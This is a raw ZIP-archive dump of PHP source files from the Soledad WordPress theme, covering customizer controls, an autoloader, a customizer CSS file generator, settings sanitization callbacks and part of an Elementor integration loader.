PK     N\ݶ?  ?  <  inc/customizer/framework/customizer/control/class-number.phpnu [        <?php
/**
 * Customizer Control: number.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Number extends Control_Abstract {
	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-number';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="customize-control-content">
				<input type="text" {{{ data.link }}} value="{{ data.value }}"/>
			</div>
		</label>
		<?php
	}
}
PK     N\xī    A  inc/customizer/framework/customizer/control/class-radio-image.phpnu [        <?php
/**
 * Customizer Control: radio-image.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Radio Image control (modified radio).
 */
class Radio_Image extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-radio-image';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>
		<div id="input_{{ data.id }}" class="image">
			<# for ( key in data.choices ) { #>
				<input class="image-select" type="radio" value="{{ key }}" name="_customize-radio-{{ data.id }}" id="{{ data.id }}{{ key }}" {{{ data.link }}}<# if ( data.value === key ) { #> checked="checked"<# } #>></input>
				<label for="{{ data.id }}{{ key }}" data-id="{{ key }}">
					<span class="image-clickable"></span>
				</label>

			<# } #>
		</div>
		<?php
	}
}
PK     N\`    A  inc/customizer/framework/customizer/control/class-multi-check.phpnu [        <?php

/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class MultiCheck extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-multi-check';

	public function to_json() {
		parent::to_json();
		$multi_values               = ! is_array( $this->value() ) ? json_encode( explode( ',', $this->value() ) ) : $this->value();
		$this->json['multi_values'] = $multi_values;
	}


	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() { ?>

        <# if ( data.label ) { #>
        <span class="customize-control-title">{{{ data.label }}}</span>
        <# } #>
        <# if ( data.description ) { #>
        <p class="description customize-control-description">{{{ data.description }}}</p>
        <# } #>
        <ul>
            <# _.each(data.choices,function(value,key){
            if (typeof data.value.split === 'function') {
                value_arr = data.value.split(",");
            } else {
                value_arr = '';
            }
            #>
            <li>
                <label>
                    <input type="checkbox" value="{{ key }}" <# if ( _.contains(_.toArray(value_arr),key) ) { #>checked<# } #>/>
                    {{ value.name}}
                </label>
            </li>
            <# }) #>
        </ul>

        <input id="_customize-input-{{data.id}}" name="_customize-input-{{data.id}}"
               type="hidden" {{{ data.link }}}
               value="{{data.value}}"/>
		<?php
	}
}
PK     N\epnQ  Q  %  inc/customizer/framework/autoload.phpnu [        <?php
/**
 * Register SPL Autoloader
 *
 * @package soledad
 * @since 1.0.0
 */

spl_autoload_register(
	function ( $class ) {
		$prefix   = 'SoledadFW\\';
		$base_dir = PENCI_CLASSPATH;
		$len      = strlen( $prefix );

		if ( strncmp( $prefix, $class, $len ) !== 0 ) {
			  return;
		}

		$relative_class = substr( $class, $len );
		$class_path     = explode( '\\', $relative_class );
		$relative_class = array_pop( $class_path );
		$class_path     = strtolower( implode( '/', $class_path ) );

		preg_match_all( '/((?:^|[A-Z])[a-z]+)/', $relative_class, $matches );
		$class_name = 'class-' . implode( '-', $matches[0] ) . '.php';
		$file       = rtrim( $base_dir, '/' ) . '/' . $class_path . '/' . strtolower( $class_name );

		if ( is_link( $file ) ) {
			$file = readlink( $file );
		}

		if ( is_file( $file ) ) {
			require $file;
		}
	}
);
PK     N\|    &  inc/customizer/framework/bootstrap.phpnu [        <?php
defined( 'PENCI_FW' ) || define( 'PENCI_FW', 'soledad' );
defined( 'PENCI_FW_VERSION' ) || define( 'PENCI_FW_VERSION', '10.0.0' );
defined( 'PENCI_FW_URL' ) || define( 'PENCI_FW_URL', PENCI_SOLEDAD_URL );
defined( 'PENCI_FW_FILE' ) || define( 'PENCI_FW_FILE', __FILE__ );
defined( 'PENCI_FW_DIR' ) || define( 'PENCI_FW_DIR', PENCI_SOLEDAD_URL );
defined( 'PENCI_THEME_URL' ) || define( 'PENCI_THEME_URL', PENCI_FW_URL );

// Need to define PENCI_URL on plugin / Themes.
defined( 'PENCI_URL' ) || define( 'PENCI_URL', PENCI_THEME_URL . '/inc/customizer/framework' );
defined( 'PENCI_VERSION' ) || define( 'PENCI_VERSION', '1.2.6' );
defined( 'PENCI_DIR' ) || define( 'PENCI_DIR', dirname( __FILE__ ) );
defined( 'PENCI_CLASSPATH' ) || define( 'PENCI_CLASSPATH', PENCI_DIR );

require_once 'autoload.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/autoload.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/classes/class-customizer.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/init.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/settings.php';
\SoledadFW\Customizer::getInstance();

add_action( 'init', 'soledad_fw_initialize_customizer' );

/**
 * Initialize Customizer
 */
if ( ! function_exists( 'soledad_fw_initialize_customizer' ) ) {
	function soledad_fw_initialize_customizer() {
		// Instantiate Customizer.
		SoledadFW\Customizer\Customizer::get_instance();
	}
}
PK     N\7d,  ,  $  inc/customizer/generate-css-file.phpnu [        <?php
// No direct access
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * class Penci_Generate_Customizer_CSS_File
 */
if( ! class_exists( 'Penci_Generate_Customizer_CSS_File' ) ){
	class Penci_Generate_Customizer_CSS_File {
		
		private static $instance;

		public static function get_instance() {
			if ( ! isset( self::$instance ) ) {
				self::$instance = new self();
			}

			return self::$instance;
		}

		/* Hook to __construct function */
		public function __construct() {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_customizer_css' ), 100 );
			add_action( 'customize_save_after', array( $this, 'remove_option_render_time' ) );

			if ( ! empty( $_POST ) ) {
				add_action( 'wp_ajax_penci_render_separate_css_file', array( $this, 'regenerate_css_file' ) );
			}
		}

		/**
		 * Check to get correct the regenerate CSS data
		 */
		public function regenerate_return() {
			$option = get_theme_mod( 'penci_spcss_render' );

			if ( 'separate_file' == $option ) {
				$data_time = get_option( 'penci_regenerate_css_time' );
				$data_version = get_option( 'penci_regenerate_css_time' );
				if ( ! $data_version ) {
					// Create a version of Customizer CSS file
					update_option( 'penci_regenerate_version', time() );
				}

				if ( ! $data_time ) {
					// Created a data saved time - before 5sec to make sure the file can be created
					$data_time = time() - 5;
					update_option( 'penci_regenerate_css_time', $data_time );
				}

				// Create 1 file every 5 seconds.
				$current_time = (int) time();
				$saved_time    = (int) $data_time;

				if ( 5 <= ( $current_time - $saved_time ) ) {
					$option = ( $this->can_write_css() && $this->create_css() ) ? 'separate_file' : 'inline';
					
					if ( 'separate_file' == $option ) {
						$option = ( file_exists( $this->generate_file( 'path' ) ) ) ? 'separate_file' : 'inline';
					}
				}
			}

			return $option;
		}

		/**
		 * Enqueue the Customizer CSS file
		 */
		public function enqueue_customizer_css() {
			if ( 'separate_file' == $this->regenerate_return() ) {
				wp_enqueue_style( 'penci-soledad-customizer', esc_url( $this->generate_file( 'uri' ) ), array(), null );
			}
		}

		/**
		 * Create Customizer CSS file
		 */
		public function create_css() {
			$content = '';

			if( function_exists( 'pencidesign_return_css' ) ){
				$string_css = pencidesign_return_css();
				$string_render = trim(preg_replace('/\s+/', ' ', $string_css));
				$content .= $string_render;
			}
			
			/* Add a filter to hook to this content data */
			$content = apply_filters( 'penci_regenerate_separate_file_hook', $content );

			if ( ! $content ) {
				return false; /* Return if the $content is empty */
			}

			global $wp_filesystem;
			
			if ( empty( $wp_filesystem ) ) {
				require_once ABSPATH . '/wp-admin/includes/file.php';
				WP_Filesystem();
			}

			// Check if WP Multisite domain mapping is activated - see more: https://wordpress.org/support/article/wordpress-multisite-domain-mapping/
			if ( defined( 'DOMAIN_MAPPING' ) && DOMAIN_MAPPING ) {
				if ( function_exists( 'domain_mapping_siteurl' ) && function_exists( 'get_original_url' ) ) {
					$domain_mapping = domain_mapping_siteurl( false );
					$domain_mapping = str_replace( 'https://', '//', $domain_mapping );
					$domain_mapping = str_replace( 'http://', '//', $domain_mapping );

					$original_url = get_original_url( 'siteurl' );
					$original_url = str_replace( 'https://', '//', $original_url );
					$original_url = str_replace( 'http://', '//', $original_url );

					$content = str_replace( $original_url, $domain_mapping, $content );
				}
			}

			// Strip protocols.
			$content = str_replace( 'https://', '//', $content );
			$content = str_replace( 'http://', '//', $content );

			if ( is_writable( $this->generate_file( 'path' ) ) || ( ! file_exists( $this->generate_file( 'path' ) ) && is_writable( dirname( $this->generate_file( 'path' ) ) ) ) ) {
				if ( ! $wp_filesystem->put_contents( $this->generate_file( 'path' ), wp_strip_all_tags( $content ), 0644 ) ) {
					return false;
				} else {
					$this->update_option_render_time();
					
					return true;
				}
			}
		}

		/**
		 * Detect if we can write a new CSS file
		 */
		public function can_write_css() {
			global $blog_id;
			
			$upload_folder_dir = wp_upload_dir();

			// If WP Multisite activated, add more $blog_id to the URL
			$css_file_id = ( is_multisite() && $blog_id > 1 ) ? '_blog-' . $blog_id : null;

			$css_file_name   = '/customizer-style' . $css_file_id . '.min.css';
			$folder_path = $upload_folder_dir['basedir'] . DIRECTORY_SEPARATOR . 'pencidesign';

			// Check folder is exists or not
			if ( file_exists( $folder_path ) ) {
				// Forder can be write or not?
				if ( ! is_writable( $folder_path ) ) {
					// Check CSS file is exists or not
					if ( ! file_exists( $folder_path . $css_file_name ) ) {
						// Done because it can't be write
						return false;
					} else {
						if ( ! is_writable( $folder_path . $css_file_name ) ) {
							// Done because it can't be write
							return false;
						}
					}
				} else {
					if ( file_exists( $folder_path . $css_file_name ) ) {
						if ( ! is_writable( $folder_path . $css_file_name ) ) {
							// Done because it can't be write
							return false;
						}
					}
				}
			} else {
				// Create folder path
				return wp_mkdir_p( $folder_path );
			}

			return true;
		}

		/**
		 * Gets the css path or url of customizer CSS
		 *
		 */
		public function generate_file( $return = 'path' ) {
			global $blog_id;
			
			$upload_folder_dir = wp_upload_dir();

			// If WP Multisite activated, add more $blog_id to the URL
			$css_file_id = ( is_multisite() && $blog_id > 1 ) ? '_blog-' . $blog_id : null;

			$css_file_name   = 'customizer-style' . $css_file_id . '.min.css';
			$folder_path = $upload_folder_dir['basedir'] . DIRECTORY_SEPARATOR . 'pencidesign';

			// File path
			$css_path = $folder_path . DIRECTORY_SEPARATOR . $css_file_name;

			// URL directory of customizer CSS
			$css_folder_uri = $upload_folder_dir['baseurl'];

			$css_uri = trailingslashit( $css_folder_uri ) . 'pencidesign/' . $css_file_name;

			// Check if WP Multisite domain mapping is activated - see more: https://wordpress.org/support/article/wordpress-multisite-domain-mapping/
			if ( defined( 'DOMAIN_MAPPING' ) && DOMAIN_MAPPING ) {
				if ( function_exists( 'domain_mapping_siteurl' ) && function_exists( 'get_original_url' ) ) {
					$domain_mapping   = domain_mapping_siteurl( false );
					$original_url = get_original_url( 'siteurl' );
					$css_uri         = str_replace( $original_url, $domain_mapping, $css_uri );
				}
			}

			// Protocols
			$css_uri = str_replace( 'https://', '//', $css_uri );
			$css_uri = str_replace( 'http://', '//', $css_uri );

			if ( 'path' === $return ) {
				return $css_path;
			} elseif ( 'uri' === $return || 'url' === $return ) {
				$version = get_option( 'penci_regenerate_version' );
				$savetime = ( file_exists( $css_path ) ) ? '?version=' . $version : '';
				return $css_uri . $savetime;
			}
		}

		/**
		 * Update the option saved time
		 */
		public function update_option_render_time() {
			$data_time = time();

			update_option( 'penci_regenerate_css_time', $data_time );
		}

		/**
		 * Delete the option saved time
		 */
		public function remove_option_render_time() {
			$data_time = get_option( 'penci_regenerate_css_time' );

			if ( $data_time ) {
				delete_option( 'penci_regenerate_css_time' );
			}
			
			update_option( 'penci_regenerate_version', time() );
		}

		/**
		 * Regenerate the CSS file.
		 */
		public function regenerate_css_file() {
			check_ajax_referer( 'penci_render_separate_css_file', '_nonce' );

			if ( ! current_user_can( 'manage_options' ) ) {
				wp_send_json_error( __( 'User Permission Error', 'soledad' ) );
			}

			$this->remove_option_render_time();

			wp_send_json_success();
			
			die();
		}
	}

	Penci_Generate_Customizer_CSS_File::get_instance();

}PK     N\      inc/customizer/sanitizing.phpnu [        <?php
/**
 * Callback function for sanitizing radio settings.
 * Use for PenciDesign
 *
 * @param $input , $setting
 *
 * @return $input
 */
if ( ! function_exists( 'penci_sanitize_choices_field' ) ) {
	function penci_sanitize_choices_field( $input ) {
		return $input;
	}
}

/**
 * Callback function for sanitizing textarea settings
 * Use for PenciDesign
 *
 * @param $input , $setting
 *
 * @return $input
 */
if ( ! function_exists( 'penci_sanitize_textarea_field' ) ) {
	function penci_sanitize_textarea_field( $input ) {
		return $input;
	}
}
/**
 * Callback function for sanitizing checkbox settings.
 * Use for PenciDesign
 *
 * @param $input
 *
 * @return string default value if type is not exists
 */
if ( ! function_exists( 'penci_sanitize_checkbox_field' ) ) {
	function penci_sanitize_checkbox_field( $input ) {
		if ( $input == 1 ) {
			return true;
		} else {
			return false;
		}
	}
}

/**
 * Callback function for sanitizing switch settings.
 * Use for PenciDesign
 *
 * @param $input
 *
 * @return string default value if type is not exists
 */
if ( ! function_exists( 'penci_switch_sanitization' ) ) {
	function penci_switch_sanitization( $input ) {
		if ( true === $input ) {
			return 1;
		} else {
			return 0;
		}
	}
}

/**
 * Callback function for sanitizing checkbox settings.
 * Use for PenciDesign
 *
 * @param $input
 *
 * @return a number
 */
if ( ! function_exists( 'penci_sanitize_number_field' ) ) {
	function penci_sanitize_number_field( $input ) {
		return absint( $input );
	}
}


/**
 * Sanitize integers that can use decimals
 *
 * @return a decimal
 */
if ( ! function_exists( 'penci_sanitize_decimal_field' ) ) {
	function penci_sanitize_decimal_field( $input ) {
		return abs( floatval( $input ) );
	}
}

/**
 * Sanitize integers that can use decimals
 *
 * @return empty if input is empty or a decimal
 */
if ( ! function_exists( 'penci_sanitize_decimal_empty_field' ) ) {
	function penci_sanitize_decimal_empty_field( $input ) {
		if ( '' == $input ) {
			return '';
		}

		return abs( floatval( $input ) );
	}
}

/**
 * Sanitize integers that can use decimals
 *
 * @return empty if input is empty or a decimal
 */
if ( ! function_exists( 'penci_sanitize_multiple_checkbox' ) ) {
	function penci_sanitize_multiple_checkbox( $values ) {

		$multi_values = ! is_array( $values ) ? explode( ',', $values ) : $values;

		return ! empty( $multi_values ) ? array_map( 'sanitize_text_field', $multi_values ) : array();
	}
}

/**
 * Output CSS for desktop & mobile devices based on selector & option & attr
 *
 * @return string
 */
if ( ! function_exists( 'penci_renders_css' ) ) {
	function penci_renders_css( $selector, $option, $attr = null ) {
		if ( '' == $selector || '' == $option ) {
			return '';
		}
		$return        = '';
		$attr          = is_null( $attr ) ? 'font-size' : $attr;
		$sub_fix       = ( 'font-size' == $attr ) ? 'px' : '';
		$mobile_option = $option . '_mobile';

		if ( get_theme_mod( $option ) ) {
			$return = $selector . '{' . $attr . ':' . get_theme_mod( $option ) . $sub_fix . ';}';
		}
		if ( get_theme_mod( $mobile_option ) ) {
			$return .= '@media only screen and (max-width: 479px){' . $selector . '{' . $attr . ':' . get_theme_mod( $mobile_option ) . $sub_fix . ';}}';
		}

		return $return;

	}
}

/**
 * Call back to showing generate css button when render Separate CSS File is selected
 *
 * @since 1.11.0
 */
if ( ! function_exists( 'penci_activate_separate_css_file_callback' ) ) {
	function penci_activate_separate_css_file_callback() {

		if ( 'separate_file' === get_theme_mod( 'penci_spcss_render' ) ) {
			return true;
		}

		return false;
	}
}

/**
 * Only allow values between a certain minimum & maxmium range
 *
 * @param number    Input to be sanitized
 *
 * @return number    Sanitized input
 */
if ( ! function_exists( 'penci_in_range' ) ) {
	function penci_in_range( $input, $min, $max ) {
		if ( $input < $min ) {
			$input = $min;
		}
		if ( $input > $max ) {
			$input = $max;
		}

		return $input;
	}
}

/**
 * Alpha Color (Hex, RGB & RGBa) sanitization
 *
 * @param string    Input to be sanitized
 *
 * @return string    Sanitized input
 */
if ( ! function_exists( 'penci_hex_rgba_sanitization' ) ) {
	function penci_hex_rgba_sanitization( $input, $setting ) {
		if ( empty( $input ) || is_array( $input ) ) {
			return $setting->default;
		}

		if ( false === strpos( $input, 'rgb' ) ) {
			// If string doesn't start with 'rgb' then santize as hex color
			$input = sanitize_hex_color( $input );
		} else {
			if ( false === strpos( $input, 'rgba' ) ) {
				// Sanitize as RGB color
				$input = str_replace( ' ', '', $input );
				sscanf( $input, 'rgb(%d,%d,%d)', $red, $green, $blue );
				$input = 'rgb(' . penci_in_range( $red, 0, 255 ) . ',' . penci_in_range( $green, 0, 255 ) . ',' . penci_in_range( $blue, 0, 255 ) . ')';
			} else {
				// Sanitize as RGBa color
				$input = str_replace( ' ', '', $input );
				sscanf( $input, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );
				$input = 'rgba(' . penci_in_range( $red, 0, 255 ) . ',' . penci_in_range( $green, 0, 255 ) . ',' . penci_in_range( $blue, 0, 255 ) . ',' . penci_in_range( $alpha, 0, 1 ) . ')';
			}
		}

		return $input;
	}
}

if ( ! function_exists( 'penci_text_sanitization' ) ) {
	function penci_text_sanitization( $input ) {
		if ( ! is_array( $input ) && strpos( $input, ',' ) !== false ) {
			$input = explode( ',', $input );
		}
		if ( is_array( $input ) ) {
			foreach ( $input as $key => $value ) {
				$input[ $key ] = sanitize_text_field( $value );
			}
			$input = implode( ',', $input );
		} else {
			$input = sanitize_text_field( $input );
		}

		return $input;
	}
}

if ( ! function_exists( 'penci_spacing_sanitization' ) ) {
	function penci_spacing_sanitization( $input ) {
		if ( is_array( $input ) ) {
			$return = [];
			foreach ( $input as $key => $value ) {
				$return[ $key ] = absint( $value );
			}
			$return = implode( ',', $return );
		} else {
			$return = absint( $input );
		}

		return $return;
	}
}

if ( ! function_exists( 'penci_custom_sanitization' ) ) {
	/**
	 * Text sanitization function for Customize API
	 *
	 * @param string $input Input to be sanitized.
	 *
	 * @return string        Sanitized input.
	 * @since 1.0.0
	 */
	function penci_custom_sanitization( $input ) {
		return wp_kses_post( force_balance_tags( $input ) );
	}
}
PK     N\C;L  L    inc/elementor/loader.phpnu [        <?php

namespace PenciSoledadElementor;
use Elementor\Plugin;
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Loader {
	private static $_instance;
	public $modules_manager;
	protected $font_types = [];
	private $classes_aliases = array(
		'PenciSoledadElementor\Modules\PanelPostsControl\Module'                             => 'PenciSoledadElementor\Modules\QueryControl\Module',
		'PenciSoledadElementor\Modules\PanelPostsControl\Controls\Penci_Group_Control_Posts' => 'PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts',
		'PenciSoledadElementor\Modules\PanelPostsControl\Controls\Query'                     => 'PenciSoledadElementor\Modules\QueryControl\Controls\Query',
	);

	/**
	 * Plugin constructor.
	 */
	private function __construct() {
		spl_autoload_register( array( $this, 'autoload' ) );

		$this->includes();
		$this->setup_hooks();
	}

	private function includes() {
		require PENCI_ELEMENTOR_PATH . 'includes/modules-manager.php';
		require PENCI_ELEMENTOR_PATH . 'includes/helper.php';
		require PENCI_ELEMENTOR_PATH . 'includes/utils.php';
	}

	private function setup_hooks() {
		add_action( 'elementor/init', array( $this, 'on_elementor_init' ) );
		add_action( 'elementor/controls/register', [ $this, 'register_controls' ] );
		add_action( 'elementor/elements/categories_registered', array( $this, 'widget_categories' ) );
		add_action( 'elementor/editor/after_enqueue_styles', array( $this, 'enqueue_editor_styles' ) );
		add_action( 'elementor/frontend/before_register_scripts', array( $this, 'register_frontend_scripts' ) );

		//handle select2 ajax search
		add_action( 'wp_ajax_penci_select2_search_post', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );
		add_action( 'wp_ajax_nopriv_penci_select2_search_post', [ $this, 'select2_ajax_posts_filter_autocomplete' ] );

		add_action( 'wp_ajax_penci_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
		add_action( 'wp_ajax_nopriv_penci_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );

		//custom font
		add_filter( 'elementor/fonts/groups', [ $this, 'register_fonts_groups' ] );
		add_filter( 'elementor/fonts/additional_fonts', [ $this, 'register_fonts_in_control' ] );

		add_action( 'wp_body_open', [ $this, 'elementor_pro_header' ] );
		add_action( 'elementor/init', [ $this, 'penci_clear_cache' ] );
	}

	public static function penci_clear_cache() {
		$cleared = get_option( 'penci_clear_cache' );
		if ( ! $cleared ) {
			\Elementor\Plugin::$instance->files_manager->clear_cache();
			update_option( 'penci_clear_cache', true );
		}
	}

	/**
	 * @return \Elementor\Plugin
	 */

	public static function elementor() {
		return \Elementor\Plugin::$instance;
	}


	public static function elementor_pro_header() {

		if ( ! function_exists( 'elementor_location_exits' ) ) {
			return;
		}

		$show_header = false;

		if ( elementor_location_exits( 'footer', true ) ) {
			$show_header = true;
		}

		if ( elementor_location_exits( 'header', true ) ) {
			$show_header = false;
		}

		if ( elementor_location_exits( 'header', true ) ) {
			$header_layout       = 'penci-elementor-pro-header';
			$penci_hide_header   = $show_page_title = false;
			$header_search_style = get_theme_mod( 'penci_topbar_search_style', 'default' );
			if ( is_page() ) {
				$penci_hide_header = get_post_meta( get_the_ID(), 'penci_page_hide_header', true );

				$show_page_title  = get_theme_mod( 'penci_pheader_show' );
				$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

				$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
				if ( 'enable' == $pheader_show ) {
					$show_page_title = true;
				} elseif ( 'disable' == $pheader_show ) {
					$show_page_title = false;
				}
			} else if ( is_single() ) {
				$penci_hide_header = penci_is_hide_header();
			}
			$class_wrapper_boxed = 'elementor-custom-header-template wrapper-boxed header-style-' . esc_attr( $header_layout );
			if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
				$class_wrapper_boxed .= ' enable-boxed';
			}
			if ( get_theme_mod( 'penci_enable_dark_layout' ) ) {
				$class_wrapper_boxed .= ' dark-layout-enabled';
			}
			if ( $penci_hide_header ) {
				$class_wrapper_boxed .= ' penci-page-hide-header';
			}
			if ( get_theme_mod( 'penci_header_logo_mobile_center' ) ) {
				$class_wrapper_boxed .= ' penci-hlogo-center';
			}

			$class_wrapper_boxed .= ' header-search-style-' . esc_attr( $header_search_style );

			if ( $show_page_title && ! is_home() && ! is_front_page() ) {
				get_template_part( 'template-parts/page-header' );
			}

			echo '<div id="soledad_wrapper" class="' . $class_wrapper_boxed . '">';
		} else if ( $show_header ) {

			if ( get_theme_mod( 'penci_custom_code_after_body_tag' ) ):
				echo do_shortcode( get_theme_mod( 'penci_custom_code_after_body_tag' ) );
			endif;

			$penci_hide_header = $show_page_title = false;
			if ( is_page() ) {
				$penci_hide_header = get_post_meta( get_the_ID(), 'penci_page_hide_header', true );

				$show_page_title  = get_theme_mod( 'penci_pheader_show' );
				$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

				$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
				if ( 'enable' == $pheader_show ) {
					$show_page_title = true;
				} elseif ( 'disable' == $pheader_show ) {
					$show_page_title = false;
				}
			} else if ( is_single() ) {
				$penci_hide_header = penci_is_hide_header();
			}

			/**
			 * Get header layout in your customizer to change header layout
			 *
			 * @author PenciDesign
			 */
			$header_layout = penci_soledad_get_header_layout();
			$menu_style    = get_theme_mod( 'penci_header_menu_style' ) ? get_theme_mod( 'penci_header_menu_style' ) : 'menu-style-1';

			$header_class = $header_layout;
			if ( $header_layout == 'header-9' ) {
				$header_class = 'header-6 header-9';
			}

			if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
				get_template_part( 'template-parts/menu-hamburger' );
			}

			$class_wrapper_boxed = 'wrapper-boxed header-style-' . esc_attr( $header_layout );
			if ( get_theme_mod( 'penci_body_boxed_layout' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
				$class_wrapper_boxed .= ' enable-boxed';
			}
			if ( get_theme_mod( 'penci_enable_dark_layout' ) ) {
				$class_wrapper_boxed .= ' dark-layout-enabled';
			}
			if ( $penci_hide_header ) {
				$class_wrapper_boxed .= ' penci-page-hide-header';
			}
			if ( get_theme_mod( 'penci_header_logo_mobile_center' ) ) {
				$class_wrapper_boxed .= ' penci-hlogo-center';
			}

			$header_builder      = function_exists( 'penci_check_theme_mod' ) && penci_check_theme_mod() ? penci_check_theme_mod() : '';
			$header_search_style = ! empty( $header_builder ) ? penci_get_builder_mod( 'penci_header_search_style', 'showup' ) : get_theme_mod( 'penci_topbar_search_style', 'default' );
			$class_wrapper_boxed .= ' header-search-style-' . esc_attr( $header_search_style );
			$custom_header_class = $header_builder ? ' pc-wrapbuilder-header' : '';
			?>
        <div id="soledad_wrapper" class="<?php echo esc_attr( $class_wrapper_boxed ); ?>">
			<?php
			if ( ! $penci_hide_header ) {

				do_action( 'penci_above_header_wrap' );

				echo '<div class="penci-header-wrap' . $custom_header_class . '">';

				get_template_part( 'template-parts/header/top-instagram' );

				if ( ! empty( $header_builder ) ) {

					if ( is_singular( 'penci-block' ) ) {
						return;
					}

					load_template( PENCI_SOLEDAD_DIR . '/inc/builder/template/desktop-builder.php' );

				} else {

					if ( get_theme_mod( 'penci_top_bar_show' ) ) {
						get_template_part( 'inc/modules/topbar' );
					}

					get_template_part( 'template-parts/header/' . $header_layout );
				}
				echo '</div>';

				if ( ! is_customize_preview() || ! isset( $_GET['layout_id'] ) ) {

					get_template_part( 'template-parts/header/mailchimp-below-header' );

					if ( is_home() || get_theme_mod( 'penci_featured_slider_all_page' ) ) {
						get_template_part( 'template-parts/header/feature-slider' );
					}

					if ( ( ( is_home() || is_front_page() ) && get_theme_mod( 'penci_signup_display_homepage' ) ) || ! get_theme_mod( 'penci_signup_display_homepage' ) ) {
						get_template_part( 'template-parts/header/mailchimp-below-header2' );
					}
				}
				do_action( 'penci_below_header_wrap' );
			}
			if ( $show_page_title && ! is_home() && ! is_front_page() ) {
				get_template_part( 'template-parts/page-header' );
			}

		}
	}

	/**
	 * @return Loader
	 */
	public static function instance() {
		if ( is_null( self::$_instance ) ) {
			self::$_instance = new self();
		}

		return self::$_instance;
	}

	public function register_fonts_groups( $font_groups ) {
		$new_groups = [];

		$new_groups['penci_custom_fonts'] = __( 'Penci Custom Fonts', 'soledad' );

		return array_replace( $new_groups, $font_groups );
	}

	public function register_fonts_in_control( $fonts ) {

		$custom_fonts = penci_get_custom_fonts();

		if ( ! empty( $custom_fonts ) ) {
			foreach ( $custom_fonts as $font_name => $font_title ) {
				$fonts[$font_name] = 'penci_custom_fonts';
			}
		}

		return $fonts;
	}

	/**
	 * @Register Control Select2
	 */
	public function register_controls( $controls_manager ) {
		require_once( __DIR__ . '/includes/select2.php' );
		require_once( __DIR__ . '/includes/autocomplete.php' );
		$controls_manager->register( new \PenciSoledadElementor\Controls\Select2() );
		$controls_manager->register( new \PenciSoledadElementor\Controls\Autocomplete() );
	}

	public function autoload( $class ) {
		if ( 0 !== strpos( $class, __NAMESPACE__ ) ) {
			return;
		}

		$has_class_alias = isset( $this->classes_aliases[ $class ] );

		// Backward Compatibility: Save old class name for set an alias after the new class is loaded
		if ( $has_class_alias ) {
			$class_alias_name = $this->classes_aliases[ $class ];
			$class_to_load    = $class_alias_name;
		} else {
			$class_to_load = $class;
		}

		if ( ! class_exists( $class_to_load ) ) {
			$filename = strtolower( preg_replace( array(
				'/^' . __NAMESPACE__ . '\\\/',
				'/([a-z])([A-Z])/',
				'/_/',
				'/\\\/'
			), array( '', '$1-$2', '-', DIRECTORY_SEPARATOR ), $class_to_load ) );
			$filename = PENCI_ELEMENTOR_PATH . $filename . '.php';

			if ( is_readable( $filename ) ) {
				include( $filename );
			}
		}

		if ( $has_class_alias ) {
			class_alias( $class_alias_name, $class );
		}
	}

	public function widget_categories( $elements_manager ) {
		// Add our categories
		$category_prefix = 'penci-';

		$elements_manager->add_category( $category_prefix . 'archive-builder', [
			'title' => '[PenciDesign] Archive Builder',
			'icon'  => 'fa fa-plug',
		] );

		// Hack into the private $categories member, and reorder it so our stuff is at the top
		$reorder_cats = function () use ( $category_prefix ) {
			uksort( $this->categories, function ( $keyOne, $keyTwo ) use ( $category_prefix ) {
				if ( substr( $keyOne, 0, 6 ) == $category_prefix ) {
					return - 1;
				}
				if ( substr( $keyTwo, 0, 6 ) == $category_prefix ) {
					return 1;
				}

				return 0;
			} );

		};

		$reorder_cats->call( $elements_manager );
	}

	/**
	 *  Editor enqueue styles.
	 */
